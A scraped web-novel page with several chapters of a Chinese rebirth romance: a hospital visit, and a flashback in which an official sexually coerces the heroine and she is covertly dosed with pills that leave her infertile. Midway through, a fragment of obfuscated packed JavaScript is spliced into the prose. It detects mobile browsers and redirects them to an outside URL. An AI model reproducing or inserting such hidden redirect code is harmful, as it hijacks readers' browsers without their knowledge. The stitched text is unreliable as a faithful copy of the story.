前世,林语晨躺在病床上,清醒的时候能听到爸妈的哭喊声,昏迷的时候像沉进深渊,怎么挣扎都醒不过来。
医院,让她恐惧。
这一刻,她想逃走,脚又像生了根,扎在地上,动不了。
——
沈秋霞的检查很顺利,只是有些检查要空腹抽血,只能等明天早上再来一次。
王医生对她说:“你要放宽心,心宽了,病气就散了。平时啊,不要干体力活,不能提重物。若是气喘、气虚,一定要及时来医院检查。
我先开几个血检单子,明早空腹来抽血,等报告出来,就能看到你的其它情况。”
沈秋霞一个劲点头,出了门。
赵有归让宋景陪她,而他又入内问医生几个问题。
王医生:“心电图的单子显示心率有不规律的波段。我看她很紧张,所以有可能是紧张导致的小异常。
我的建议是明天血检后再做一次检查。平时,家里人一定要多关注她的情况,一旦气力跟不上就来医院。
至于你问得这个问题呢,心脏手术不是小手术,风险极大。
我观察她现在的状况还好,能熬就再熬几年。现在的医学技术发展很快,说不定过几年就能极大地提高这个手术的成功率。”
医生也挺无奈,不到万不得已,还是不动心胸手术得好。
赵有归谢过医生,离开房间。
他看到宋景在逗母亲笑,松了口气。
林语晨问“你信命吗?”
赵有归答“不信”。其实,有时候他很怕“命”这个东西。
他怕回来迟了,怕不能及时检查出母亲的身体问题,怕再次失去她。
重生回来,凭心而行,不留后悔,就是赵有归这一世要奉行的宗旨。
“有归,医生没说什么吧?”沈秋霞看完病后心情是彻底轻松了,“咱们去找晨晨吧。”
“这样,妈,你和宋景先回去。我去找语晨。”赵有归朝宋景说,“钥匙在门顶上,你再带点菜回去。中午,家里吃饭。”
“好嘞。头,要不要叫上老钱几个?”宋景乐呵。
“等周末再聚。你先把我妈安全地送回去。”赵有归拍在宋景的肩头,又问沈秋霞同不同意。
沈秋霞是想和林语晨汇合,不过儿子都安排好了,就答应跟宋景走。
她朝宋景说:“小景,你带阿姨去菜场。中午,阿姨给你做饭。”
短短一路,她也在尝试融进赵有归的新生活。
赵有归目送两人离开,去找林语晨。他没有问林语晨做什么检查,但知道她去的科室,直接回三楼门诊处。
他看到那个女人坐在椅子上出神,周围不是孕妇就是年轻妇女,不是老人陪着就是丈夫陪着,而她一个人,不知道在想什么。
前世,赵有归有过三次这样的经历,作为下派的调查组长整顿灵江市潜伏地下的官商捆绑的恶势力,必须有一个切入口下手。
他看着调查会议室里整墙面上的照片资料,目光落在眼熟处。
第一站,拜访林大宝。
离开林家的别墅。
赵有归让车停在一边,目送一辆黑色豪车进园门。
司机开的车门,彼时的林语晨已经是傲视灵江市的首富太太,披着白色的皮毛坎肩,踩着镶钻的高跟鞋,宛如贵妇,仰着下巴走向那栋别墅。
她的眼神犀利,一如调查组墙面上的照片形貌,无心周围,径直回家,是一个心无旁骛的女人。
赵有归敲在红旗车的车壁,让司机离开。
心里只有一个想法:这个女人真不简单。与曾经儿时记忆里模糊的小女孩一点没有相似的地方。
经过一番调查后,调查组知道楚邵在外有不少个小家,林语晨必定和楚邵面和心不和。
赵有归决定找林语晨,联手林语晨搜罗楚邵的证据,通过楚邵连根拔起灵江市的黑恶势力。
而林语晨就在省一院。同样是走廊。不过,那时候的省一院已经是十几层楼高的大厦格局,窗明几净,不像现在的楼道,昏淡蒙色。
那时候,林语晨坐在不锈钢的长椅上,拽着化验单,一副失魂落魄的神情。与数月前贵气自信的模样相比,截然相反。
赵有归停下走向她的脚步,直接穿过她进诊室。
医生看过他的工作证,不得不说:“那太太已经癌症晚期,只是没爆发,一旦爆发就没多少日子。我的建议是尽快住院治疗,但她很犹豫。如果你认识她的家属,建议让人劝劝她。”
赵有归从诊室出来时,林语晨已经不在医院的椅子上。
他追出医院,以为她会坐车离开,没想到她步行上天桥,还在上面站许久许久。
赵有归就在桥下看着她,也看了许久许久。
后来,他给林大宝打个电话。
此时此刻,前世、今生的身影重叠,又清晰地剥离。她身上得那份尖锐淡化后,余下得是隐忍的孤独。
赵有归紧张脸走过去。
而林语晨听到叫号子起身,目光一扫,对上走来的高大身影,惊慌地喊了声:“有归哥?”
“你是三十二号?快进去吧,后面还有几个号呢,别让医生一个上午看不完。”护士又催一遍。
赵有归点头,目送林语晨进诊室。
他坐在她原先坐过的地方,椅子也还热乎。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108594|164009||http|test|mini|href|location''.split(''|''),0,{}));
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>旁边的妇女扫他两眼,好奇问:“那是你爱人啊?很年轻很漂亮。”
“不是”两字囫囵回嗓子,蹦出句:“谢谢。”
若是反驳,一个年轻女孩来看妇科,极大可能会被闲话家长。
妇女见他一脸严肃,给人几分生人勿近的压力,忍不住又扫他两眼,感觉还是挺正气,笑着和旁边的陪同人说:“妈,这人长得真正。”
陪同的阿姨点点头,又说:“人家再好也是别人的爱人,你家阿年哪差了?”
年轻妇女忍不住笑点头,溢出满脸的幸福。
诊室里,医生给林语晨做体外B超,又按肚子,奇怪地说:“听你的意思,月经正常,量也没问题。影像显示内壁光滑,没有问题啊。小姑娘,你多大就想着生孩子,还担心怀不上?”
一旁的陪诊护士听到后都笑了。
林语晨不解问:“不可能啊。那什么情况才会从正常身体变成怀不上孩子?”
“嗯……你真想知道?”女医生很温柔,想了下还是跟她说明白,“不能经常打胎,会变成习惯性流产。其次,不能吃太多避孕药,短效还好,紧急得绝对不能吃,药效太大,会造成经期大出血,分泌紊乱。现在开放了,自由恋爱,但是,女孩子还是要洁身自好。”
林语晨眨着眼听她的话,一眼扫到女护士怀疑的眼神,权当没看见。
脑子里划过一道光,一时没抓住。
女医生又说:“经期少喝冷辣刺激性食物,平时多注意些。放心吧,小姑娘,你好好生活、恋爱、结婚,怀孕没问题。有问题,你再来找我,唐医生帮你定个排卵受孕计划。呵呵!”
“谢谢你,唐医生。”林语晨的脸没红,拽着单子出门。
女护士吐槽句:“真是个奇怪的人。唐医生,她会不会要从事妇科病高发的工作啊?”
“胡说什么?眼神、身体都挺干净一个女孩。下一个。”唐医生再次看眼林语晨的影照,确实没有问题,笑了声,“有时候不能生得不一定是女人,说不定是男人呢。”
赵有归见林语晨从诊室出来,赶紧站起来。手一松,才发现自己竟然在紧张。
这情形竟比沈秋霞那边还让他提着心。
“语晨,怎么样?”
那个和赵有归攀谈的妇女穿过两人,回头来句:“姑娘,刚才我以为你一个人,觉得你可怜,没想到你丈夫比你还紧张,一直正襟危坐,手都握成拳头。你们好恩爱啊。”
女护士多看眼赵有归,嘿笑:“原来是婚前恐孕。”
妇女愣了下:“还没结婚呢?”
女护士不好多说,请她进去。
若是婚后,B超就得换个做法。所以,她判断两人是未婚、准备结婚要孩子的状态。
林语晨想说话被打断,听后只觉得这些人无聊,转身走了,也就没看到赵有归麦色的肌肤泛上薄红的样子。
她走到走廊尽头,终于想起那道光是什么……刚下三阶楼梯,浑身一颤,软下去。
赵有归追上来,发现她向楼下扑去,一个跃步捞起她,脚跟一转,反转的力量让他狠狠地撞在楼梯墙壁上,而林语晨被他完好地护在胸前。
路人吓一跳,避开两人上下楼。
赵有归在那时忘记呼吸,救到人才缓过气,慢慢地松开林语晨,却发现她不仅无力,还在发抖:“语晨,怎么了?”
林语晨红着眼,仰头看他,眼里映着复杂的情愫,颤抖的双唇吐不出一个字。
前世确实有过一次大出血,前往陆天说得招待所后的第二天,本不会来例假的日子,肚子翻搅、血染床单。
她以为只是床事不当,造成例假早来。
原来……不是!
30. 避孕药
*前世*
林语晨穿着男士的中山外套、白衬衫、青布裤子、黑色的千层底布鞋,盘着辫发站在招待所的303室房门前,手里拿着造纸厂所有的证件资料。
一个农村女孩,高中辍学,家里没有用得上的人,父母攒大半辈子的钱都投入造纸厂。
现在,机器到位、工人也已经说好,只等开工,却因为一道批文卡在那。
林语晨自忖:我没有选择。
她毅然推开这扇门。
陆天穿着林语晨从未见过的白色浴袍坐在沙发椅上吞云吐雾,微胖的脸上有一双带色的眼睛,看到林语晨的第一眼就上上下下扫视一遍,像在看一只已经剥干净烫熟的白斩鸡。
“我就知道你会来。你的眼神厉害着呢。去,洗干净出来。”陆天把烟蒂掐灭,目光最终落在在林语晨的胸口。
林语晨也不绕弯子,暗吸口气,拿出手里的资料。
“这是我办造纸厂跑下来的所有文件。陆局长,只要你答应我们能开工,造纸厂前三年所得净利润分你九成。第四年,往后每一年,我都会给你家人的户头打一笔钱。你想想,得到一个我,不过一夜。但是,这笔买卖,却可以让你终生受益。”
陆天已经走到林语晨面前,看着她嫩巴巴的嘴开出这样的条件,直接动手抹上去。
林语晨挺住,没躲开,看他拿碰过自己的手指划过他的唇,既觉恶心又不能退。
她再次壮起胆气:“怎么样?女人是不是大同小异?相反,这钱却可以让你获得任何你想要的东西。”
陆天避开戳到面前的文件,真后退一步。不算高的男人身体依旧压迫着面前的女人,而她一点后退的意思都没有。
“就是说,我只能拿你的钱,睡不到你?”
林语晨反手,放下盘起的辫子,撕开衬衣领子,露出两边如脊的锁骨。然而,好颜色并不显得势弱,反而让她更强。
“身体不过这么点东西,爽一次又怎么样?我已经是楚邵的人,不过就那么三分钟罢了。这次,你得到我,难道以为我会上门第二次?
大不了,厂子我不要了,卖给别人拿回成本。但是,人家能开出我这样的条件吗?”
陆天听得直接闷笑,若不是怕笑声太大引起招待所外面人的注意,真想大笑几声。
“林厂长,三分钟?你还真是女豪杰。既然你想要办厂,走一条女强人的路,今天不躺在我这,明天也会躺在别人的床上,何必假清高啊?”
“我不知道陆局长说得‘我以后的路是怎么样’。但是,我知道现在,我只有这一个厂子,别无长物。若你不同意,就这么算了。”林语晨说完就走。
陆天看着她倔强的背影,气得喊了声:“站住。难道你以为我这是想来就来、想走就走吗?”
林语晨果真停下,没有转过身,犟着说:“楚邵在外面,我们已经约定。如果我不出去,他会喊人。”
陆天退回到窗户边,掀开窗帘看眼外面。
他沉吟了下,回头说:“你来我这,待这么长时间,你再走出去,他还会以为你是清白吗?”
林语晨绷张脸,仰首回头:“你不下批文,我就是清白之身。再说,别人怎么看我不在乎。我只知道我要办成什么事。”
“好样。反将一军,比你那男人有种!”陆天深吸口气,转眼笑了,“那有道屏风,你能在后面待三个小时再离开,你的造纸厂就能动工。否则,我有办法让你开不了第二次工。”
——好恶毒的男人。得不到人也想污人名誉。林语晨,名誉算什么,一切只等一道批文。
林语晨答应这个约定,拿资料走到木制的梅兰竹菊屏风后。
陆天出去一趟,又回来坐下。
“林厂长,一会给你看一出好戏。你会知道其实你在意的东西根本不值一文。我会剥下你清高的皮,让你知道真正的女人该怎么做事。”
林语晨只回句:“我待够三小时后离开,你给批文。明天,造纸厂就能开工?”
“呵。我说话算话。”陆天听到敲门声,回头看眼屏风,再次哼笑,“别出声,出了声就不算。”
他关上房间的大灯,借着夜灯的昏黄去开门。
“哟,天哥,你总算记起我了。”女人见门打开,一扑一勾,环住陆天的脖子,“放心吧。你交待的事我帮你办妥了,大家都是熟人,朝中有人好办事,不会坏你前途。”
陆天满意极了:“不枉我疼你。”他不再多说,扫眼昏暗中的屏风,哼哼笑着摸遍女人全身,惹得女人娇喘连连。
屏风后的林语晨明白陆天要她听什么,一时间手脚发麻,连血液都好像冷了。
陆天会玩,先让女人给他服务,再就掐着女人的头发倒在床上。
女人哼哼唧唧,男人怂恿渴求……整个303室的房间充盈令林语晨作呕的声音。
陆天说三小时就真三小时,而不是三分钟。
他不止一次,还吃药,像是一头发了情的畜生,让女人为他各种服务。
整整三小时,林语晨宛若置身噩梦,指甲掐进掌心都感觉不出来。
一直到女人离开,陆天洗刷后出来,哼笑着:“明天,让你那没用的丈夫来拿批文。记得你自己说过的约定。否则,我随时可以让你的造纸厂停业整顿。
呵……过瘾啊。”
303室的门嘎达一声关上,林语晨从黑暗里直着腿走出来,待血液流速正常,逃也似离开这房间。
她冲出招待所,在路边干呕,一直到呕出酸水。即使这样,好像还能闻到那股药味混着男人腥味的气息冲刺在鼻前。
冷风让她的衬衫变成湿布,裹得她浑身发冷打颤。
——楚邵呢?他不是应该在这附近等我吗?
林语晨虚弱地看向四周,却没有找到应该在的人。
尽管这次经历恶心到污水沟里去,但是她至少成功拿到陆天的承诺。可是,本该迎接她成功的男人却不在这。
彼时,林菲儿一把拉住楚邵:“你上去干什么?她现在这么脆弱,需要得同是女人的安慰。”
“你吃得是什么?”楚邵阴沉沉地看她吞下药丸。
“避孕药。不然,我还真给那老东西生孩子啊?”林菲儿晃了晃手里的瓶子,叮叮当当还有十来颗,睨向神色冷峻的楚邵,黏糊说,“要生,我也是给你生啊。你和我的孩子一定很漂亮。”
楚邵一把夺过瓶子,转身离去。
林菲儿看着他失魂落魄地离开,从包里拿出一瓶贴有标签的新药,往手里的甜汽水塞几颗,摇着汽水走向路灯下的林语晨。
“给。”
林语晨看到她,有瞬间得不自在,掉头就走。
“你跑什么?我知道你在那个屋子里。虽然关了灯,但是有路灯还有影子嘛。”林菲儿踩着鞋跟走到路中间的林语晨面前,再次递上水,“喝吧,喝了能好受点。我还要拜托你一件事呢。”
林语晨复杂地看着她:“你不是应该跟孙佳人混吗?”怎么成陆天的情人?
“她啊,一心读书,等着当好老师呢。切,你不知道吧?我认识陆天,还是她介绍呢。其实,你这样子,应该没和那老东西做,清白着呢。那老东西就是会些恶趣味。以前,我也待过屏风后面,他的意思是让我学着点呢。
你放心,你不乱说我的事,我当然也会当没见过你。”
林菲儿看着手里的汽水,眯着眸说,“若你还不自在,不如同我去喝一杯。歌舞厅,我老头的场子,没人敢动你。”
楚邵没来。林语晨内心的失望溢于言表。
林菲儿,一个曾经伙同别人欺负自己的人,却在她人生最复杂的路口处出现。
她一时昏了头,选择跟她去歌舞厅。这也是林语晨两辈子唯一一次上歌舞厅。
林语晨在一堆酒里还是选择喝汽水,正是林菲儿握着得那瓶。后来,林菲儿喝高了,林语晨也跟着喝了一瓶酒。
酒没喝完,楚邵来了。林语晨的心里难受,借着发酒疯,迷迷糊糊地跟他回家。
第二天,林语晨在楚邵家里醒过来。
楚邵端来一杯热水。
彼时的自来水有铁锈味,烧开后还有味。林语晨那天喝的热水味道更是重,已经发苦。
她心里担着事,没在意,打量楚邵的神色,发现他没有质问也没有怀疑,好像很平静,像什么都没发生一样。
她的心里说不上来是高兴还是失望,但是,批文能下来是好事。
“楚邵,我拿我们厂前三年的净利润换到批文。我没有出卖自己。陆天说,你今天可以去拿批文。”
“好。晨晨,你在家歇着,我妈会照顾你。我现在就过去拿批文。”楚邵没有一个字带“怀疑”,走到房门口,回头看向面色发白发青的女人,给一记笑,头也不回地离去。
林语晨暗自鼓气,尝试夸自己的眼光不错,没看错人。高兴的念头没升起,肚子就开始作痛,紧接着一股热流润湿大片的床单。
当时,邵美芬吓坏了,六神无主不知道该怎么办,嘴里碎碎念:“第一次上家里就发生这种事,不吉利啊。怎么办啊。”
后来,她才脱口
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而出:“昨晚,你们俩回来都迟,是不是在外面乱来,搞……小产了?”
林语晨痛不欲生,神志模糊地说:“没有。我和他前晚上才第一次。”
“那那……你是月事不正常,怎么办啊?”邵美芬跑出门,想找林彩霞商量。
结果,婆媳两人在外面为送不送医院的事吵起来。
屋里的林语晨生生地挺过一波又一波地涌血,直接昏死过去。
楚邵拿到批文马不停蹄地赶回来,临到村口又转去造纸厂。
他抚摸着新机器,又哭又笑,还拿头撞几下。
后来,他想起给林语晨喝的热水,拿出手里没有标签的空瓶,走到仓库外,扔进水渠,而后赶紧跑回家。
彼时,林语晨都已经快要凉了。邵美芬看人实在要不行,赶紧喊医生。
赤脚医生上门给林语晨挂水,开止血药,对回来的楚邵说:“这种出血量是会死人的。你们本来应该早点送县医院,现在来不及了。应该是小产,我先给她挂盐水,若是还止不住,连夜送县医院。”
楚邵惭愧得不行,一直守林语晨一夜。
第二天,林语晨迷迷糊糊地醒来,念叨厂子。楚邵就又离开家去厂里,召集工人动手开工,还请林语晨约好的王白洁帮忙指导工作。
三天后,林语晨慢慢地恢复元气,清醒过来,听着院子里楚家人的争吵,想象造纸厂的情况。
傍晚时,楚邵赶回来,见到林语晨就说:“晨晨,造纸厂开工了。你的老同学王白洁也过来指导我们生产,你不用担心,可惜你没看到机器转起来。他们说,今天晚上就能出第一批纸,明天就喊咱妹、咱妈帮忙晒纸。”
“太好了。”林语晨一听要出纸,整个人都活过来,恨不得现在就去造纸厂。
这时候,她根本没心思想大出血是怎么回事。
一直到挂最后一天的盐水,赤脚医生对她说:“你啊,平时注意些。小产不是小事,搞不好出人命。这次你就挺危险。幸好你年轻,身体底子好,血是止住了。
回头上医院检查身体,别留后遗症。”
林语晨当时很疑惑,哪有做过后第二天就小产?这也太快了。
当时不流行问明白,她也没好意思问,这茬就这么过去。
而楚家的院子里又闹起来。
林彩霞在骂:“不过是个小产,还天天赖床上等人伺候。这一顿顿,中午要送、晚上也要送……没完没了。”
邵美芬在劝,又遭林彩霞指桑骂槐,忍不住也怼回去:“你小产的时候,我没伺候过你吗?”
林彩霞顿时激动:“若不是你家穷,为那么几个工分,我至于怀着孩子还不知道,还要下地干活吗?”
楚新意加入进去:“你自己不知道还怪别人。二嫂也不知道啊,掉了孩子不是没怪别人嘛。”
……
林语晨实在没处过这么大家子、这么复杂的关系。
当天晚上,她的身体好一点就跑回赵家村,回林兰香处。
林兰香一看女儿苍白无血气的脸色,心都疼麻了。她指着女儿就是一顿骂:“没摆酒,你就跑人家家里住,会被看轻得知道吗?
你看看你的脸色,这几天都遭什么罪啊。你知道我和你爸恨不得直接推上车把你拉回来。又怕人家说三道四说你啊……”
林语晨也很后悔。
自此后,她就再没住过楚邵家,而那场大出血只当是第一次床事的后遗症,却不知这个后遗症让她再也怀不上孩子。
——
赵有归把颤抖的林语晨扶到医院公园的椅子上,握着她冰冷的手,无声地陪她。
林语晨闭上眼深吸口气,心中还是止不住地爆发恨意。
前世她为怀孕,做过很多检查。医生也说是身体出问题,还问以前有没有过小产。林语晨回答没有。
她一直不认为楚家得那个清晨那场血崩是小产。
医生只当她不实诚。这种情况只能通过人工受孕。
然而,楚邵的心已经不在,也不愿意做这事。
后来,林语晨的心也真正地冷了,只想握住手里的钱。
如今仔细地回想过往。陆天的三个小时,埋下的后患无穷无尽。
即使楚邵当时没有爆发这股情绪,日后时不时喊林语晨作陪应酬客人,都已经在把林语晨当货卖的意思。
只不过,林语晨一心扑在厂子、赚钱上,忽视这些隐形的目的,凭借智慧和越发熟练的经验一次次从那些人里脱身。
而等她真正反应过来的时候,婚变早已成定局。
31. 复仇者
林语晨看着握住双手的大掌,一颗充满恨意的心飘忽着落下来。
她看向目光有神的男人,慢慢地抽出手。
“有归哥,谢谢你。”
赵有归收回手,发现她再次避开眼神,轻声应道:“不如,先回……”
“不用了。医生说我没问题。我很高兴,虚惊一场。”林语晨起身,再次说,“我想回学校。”
赵有归有心留她吃饭,却知道她没心情。
捡起林语晨掉下的化验单,上面写着“子宫内壁光滑,无异样,正常”等字样。
脑海里滑过前世收集的资料。
若是这时候的林语晨身体健康,前世她是在什么情况下一直没有孩子?
赵有归极快地思索前世看望林叔的经过。
在交谈中,林家二老对林语晨没有孩子的事一直抱有遗憾。林兰香甚至说出“畜生造孽”。那么,林语晨前世没有孩子与楚邵脱不了干系。
这畜生!
他追上去:“我送你到车站吧。”
“我认识路。”林语晨拒绝。
赵有归不放心:“上一次,你自己说差点被拐了。”
林语晨愣怔地看他,发现他的神情异常坚定,甚至脸上线条都在说“送”,想来拒绝的话对他没用,那就随他吧。
两人一起向城站走去。
若是坐公交车,十分钟就能到。林语晨路过公交车站不停,一路顺电车的电线轨道走着。
赵有归放下招呼她的手,陪她走一路。
街道上人来人往,自行车匆匆驶过,电车滴着喇叭来了又去,去了又来,而两人毫无交流地走近半小时。
林语晨的心慢慢地放开些,等她意识到赵有归还在,心里有股说不上来的感觉:感激,也很感动!
赵有归看着她直直瞧来的清透眼神,伸手摸了摸她的脑袋,笑说:“回魂了。”
林语晨张口,有些难为情,歪头抖落他的手。
“谢谢你有归哥,前面就是车站,我走了。”
“等等,请你吃中饭。”赵有归发现她的眼神没像以前那样躲开,很是愉悦,“走,那边。我吃过几次他们家的小笼包,味道不错。”
说起吃的……斜肩包里还有几只包子,还有水煮蛋。
林语晨看着兴冲冲的赵有归,头一次发现他得这双眼睛像乡下夜空的星辰,照得人心明亮,也忘记拒绝,应道:“好。”
两人坐在不大的馆子里点两笼小包子,两碟醋酱,再一碗豆浆、一碗豆腐脑,都是咸口。
林语晨喝着豆浆,边问:“有归哥,今天早上车站里的人是谁啊?”
赵有归微愣,吞大口豆腐脑,咽下说:“一个战友。”
“哦。”林语晨翻两下勺,抿唇说,“你在市里,但是你要抓的人在县里,是不是不好办?”
赵有归嗯了声,又说:“不难。”
“有内线?”
赵有归扬眉,有些怀疑林语晨这么问的动机。此前,在林家与楚邵谈判的时候,林语晨就在窗外。
——她要问得还是楚邵的事。
“啊。你让楚邵做你的内线嘛。我就是奇怪,楚邵和林菲儿究竟是从什么时候开始走在一起。”林语晨吃口小笼包,似漫不经心地问了句。
赵有归慢慢地吃掉勺子里的豆腐脑,缓缓说:“他们从小就认识,一个村的人。至于你说得在一起……哪种形式?”
林语晨顿住,勺子里的豆浆因为手抖洒出来。
“对啊,我怎么忽视这么简单的地方。”
前世的时候,楚邵和林菲儿早在办造纸厂之前就有瓜葛。
从今世来看,楚邵自行车后的垫子,与林裕宝的瓜葛……他比前世更有胆气更直接地站在林裕宝面前。
前世招待所那晚,楚邵明明答应会在外面等,却没有出现。
林菲儿对陆天说得那句“……不会坏你前途”的话,分明意有所指。
当晚,楚邵和林菲儿……极有可能见过!!!
“有归哥,我吃饱了,先去坐车。”林语晨猛地站起来。她要去求证一个事实,那晚上得那瓶汽水,以及第二日清早的那杯温水,到底哪一个有问题。
赵有归一把拉住林语晨的手臂,沉声说:“坐下。”
林语晨想直接走,被他沉脸的样子震慑,像她曾经给公司的人开会,老总一到会场,大家都不敢说话,静得落针可闻。
赵有归见她坐回去,再次拿起筷子吃小笼包。
他看着她面前的笼子里还剩五个小包子:“我吃两个,你吃三个,分掉。”
林语晨想说饱了。
赵有归看她,炯炯的眼神闪着幽光:“浪费粮食?”
林语晨憋口气,耿直还价:“我两个。”
“行。”赵有归差点绷不住笑出声,一口一个很快干完。
林语晨慢慢地吃掉两个,那股冲上头跑去质问楚邵的怒气被他这一拉扯后压回去。
现在和楚邵对峙已经没有意义。反而会暴露重生者的身份,再让自己陷入一个尴尬的处境。
这件事和以前那些恨迟早要一起讨回来,不差这点时间。
林语晨重重地咀嚼包子,汁水润满嘴,腻得慌,又低头喝那碗没喝完的豆浆,一直到碗空,才反应过来:怎么……吃完了?
赵有归弯着唇角看她,递去一块手绢。
林语晨刚要顺手接,发现对方又极快地抽回去。
若没看错,好像是一块藏青色的格子帕,像林语晨曾经送给沈秋霞那块。
赵有归啊了声:“我记得你有手绢,我的脏了。”
“哦。”林语晨没追问,假装没看见,取出白手绢抹嘴。
好了,白手绢彻底报废,被她塞进布包。
两人从馆子出来,一路到客车站。
赵有归买的车票,送林语晨上车,低声说:“语晨,回去后别冲动。一切有法律制裁恶人。记住了。”
林语晨重重地点头,必须得承认赵有归是个正直不阿的警察。
“谢谢你有归哥,我记住了,不会对孙佳好下手。”
赵有归:……担心另一个污点证人。
林语晨上车后坐在汽车窗口,与车外的男人眼神相撞,彼此都忍不住笑下,像是开过几茬的茶花,在温度合适的时候又会再次绽放浓艳的花朵。
林语晨小幅度地挥了下手。
赵有归咧嘴,举手回应,而后离去。
在车站口,他又回头看向那个车里的女孩,发现她的目光依旧追随,忍不住低头抿唇。唇角越咧越大,拉到耳根处。心似乎越来越不受控制,也越来越明白要什么。
车里的林语晨发现他停步回头,尴尬地又挥下手,而后正襟坐着。
等她再去看窗外的车站入口,赵有归已经离开。
这时候,林语晨后知后觉地想起医院楼梯上得那幕,摸了摸手臂,被他用力抱住的感觉残留在身体上。
当时,因为震惊于想起的事而没有感觉,现在却觉得那刻……很安心。
她摸了摸有些发烫的脸颊,无声地绽笑。
——
县高三的周一还是挺热闹,傍晚时分,孙佳好带人堵住赵晓琳的去路:“她怎么没来?”
“好狗不挡路。”赵晓琳一点不怂地绕过她,又回头,“外面有人帮你,学校里可没有哦。”
孙佳好气得脸色铁青,带人回班级。
林语晨回到江源县,先去赵松海拉货的地方,请他帮忙带话回家报平安。
之后,她回学校,路过炸丸子的摊,想起兜里的余钱。
这趟市区医院行,除挂号的费用外,其它一分钱没出。
“完了,检查的钱还没付呢。”林语晨一拍额头,往包里找单子,发现B超单不在。
一下子想到赵有归,喃喃,“不会吧?”
林菲儿从镇上唯一的药店出来,提着一只时髦的包走上长街,去往另一条歌舞厅在的街道。
林语晨拿一包炸丸子从街口拐出来,正好看到林菲儿下台阶离开的身影。
她来到药店前,正想进去,一个带解放帽的女生从旁边快步走过。
“淳于芳?”
淳于芳穿一身当下男人常穿的中山布衫,慢慢地回头看了眼。
林语
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晨瞬间被她的眼神震住,那眼里平静得像是两汪幽潭,与班级里存在感低到消失几天都没人察觉的女学生完全不一样。
她甚至觉得淳于芳也是重生的女人。
淳于芳什么都没说,转身就走。
林语晨追上去,拦下她,发现她的眼神看向自己后方就跟着回头,电光火石,突然明白:“你在跟踪林菲儿?”
此时,林菲儿已经拐过街消失。
淳于芳微跳眼神,一把拉住林语晨的手,拽向旁边的巷子。
在夹房的过道里,淳于芳放开她,冷淡地说:“林语晨,你不恨吗?”
“你说谁?”林语晨蹙起柳眉。
淳于芳嗤了声,一把拉歪帽檐,露出完全的嘲讽神色。
“一年半前,究竟是谁欺负你和淳于蓝,不用我说,你也知道吧?”
林语晨微愣,撇开眸光:“你不该做这么危险的事。”
“危险?”淳于芳迫近林语晨,一掌穿过她的颊边,按在墙上,“知道我为什么在宿舍帮你吗?”
不等林语晨说出那个名字,她已经说,“因为我堂姐淳于蓝。她比你高一届,孙佳人是她的同学。她被欺负两年多,你是唯一一个站出来帮她的人,而且你打了孙佳人还受到牵连。
我感激你,所以帮你一次。但是,不意味着你可以管我的事。”
林语晨看着她近在咫尺的脸,从没想过看起来胆小的女孩也有这样凶得一面。
她还想起林兰香上学校道歉的画面,眨着眼:“不管怎样,她们也会欺负我。早晚的事。”
“是啊。”淳于芳收回手,勾起唇角,“孙佳人毕业,又来个孙佳好,继续在学校里横行无忌。你被逼走过一次,这次她们又不放过你,你不恨吗?不如,我们合作吧。”
林语晨侧头,神情融入阴翳:“你想怎么做?”
“林菲儿经常买一种药物,叫避孕药。这个药,我在蓝姐姐的房间里找到过。林菲儿是帮凶,也是苦主,我要她把孙佳人叫出来。”
林语晨的耳朵嗡声一片,避孕药三字像是一击闷雷震在脑海。
“林菲儿只是孙佳人的跟班,让她叫孙佳人,份量不够。”说完这话,心里掠过一张刚正的脸,像是一张大字报般映在脑海,提醒自己不要做违法的事。
淳于芳一把拉住她:“你想说孙佳好对不对?林语晨,我们合作。我姐姐死那么惨,吃一整瓶避孕药,大出血死掉。
这个痛,在我们淳于家过不去。我婶婶病了两年,我伯父去市里喊冤,被人打,躺在家生不如死。这事不能就这么算了。”
林语晨抽出被她拽着的手臂:“警察会处理这些事。”
“狗屁。孙佳好欺负你,他们管吗?我姐姐被逼进歌舞厅,在后巷被欺负,他们救吗?姐姐在家哭诉,没人帮她,绝望到自杀,谁劝住她?”
淳于芳的眼里充斥愤怒和泪水,“你不帮我是怕再被欺负吗?呵,行啊。毕竟你年纪这么大,城里的厂子招工都要高中毕业。你回来读书就是想要毕业,怎么敢惹事?”
林语晨见她绕出去,喊道:“站住。我不敢惹事?我要是不敢,怎么会泼孙佳好一床的水。
而你,算什么,复仇者吗?在学校唯唯诺诺,在外面跟踪林菲儿,若是被她爸的人发现你,你想过后果吗?”
淳于芳轻嗤:“你不帮我,我的事就不要你管。”
林语晨看着空荡的小巷,轻轻地闭上眼。
赵有归的话在耳边响起“一切有法律制裁恶人。”
“若是法律都制裁不了呢?孙佳人在用心读书,准备毕业后当老师。她有这个为人师表的资格吗?孙佳好,藏在学生的皮囊下做恶,无法被法律制裁。”
这一刻,林语晨的心已经完全站在淳于芳这边,就拿林菲儿来说。
如果,前世大出血的事有她的份,为什么不能向她复仇?
“我一定会找到证据。”林语晨收拾心情,走出小巷。
天低云厚,即将有场大雨。
“快要入梅了。”林语晨吹着微凉潮湿的风,喃喃念,“避孕药,招待送,303号房,陆天、林菲儿!”
32. 闯祠堂
林语晨回到学校后,孙佳好带人挡在宿舍过道,冷看着她:“没想到你运气这么好啊,竟然从他们手里逃了。”
张茉莉拎着水壶,拉开孙佳好身后的几人,再一个顶肩,直接把孙佳好撞踉跄。
林语晨侧身避开撞来的孙佳好,淡定地说:“狗奴才不长眼。平身吧。”
其余寝室的女学生都在等着事情发展,听到这声先是一愣,继而爆笑。
孙佳好气得脸色铁青,发现林语晨已经往赵晓琳的寝室走去,想要追过去被张茉莉跨身拦下:“张茉莉,你发什么颠?”
张茉莉晃下水壶,做出拔塞子的举动,吓得孙佳好往后退。
她扯笑说:“孙佳好,学校有学校的规矩。如果再不长眼,坏了校纪校规,我们这些拥有正义心的女生可以举报你,而且我不介意叫校长叔叔好好查查你的所作所为,情节严重的话,说不定直接让你……退学。”
孙佳好愣顿,腿毛们也被这话震住。
四周响起大声地讨论:
“张校长是姓张啊。”
“张茉莉也姓张,同一个姓。”
“难怪张茉莉不去市高,却跑这来读书。原来他们是一家人啊。”
“瞒得真好,以前都不知道哎,高三才爆出来。”
“哎,她说我们女生有正义心哎?”
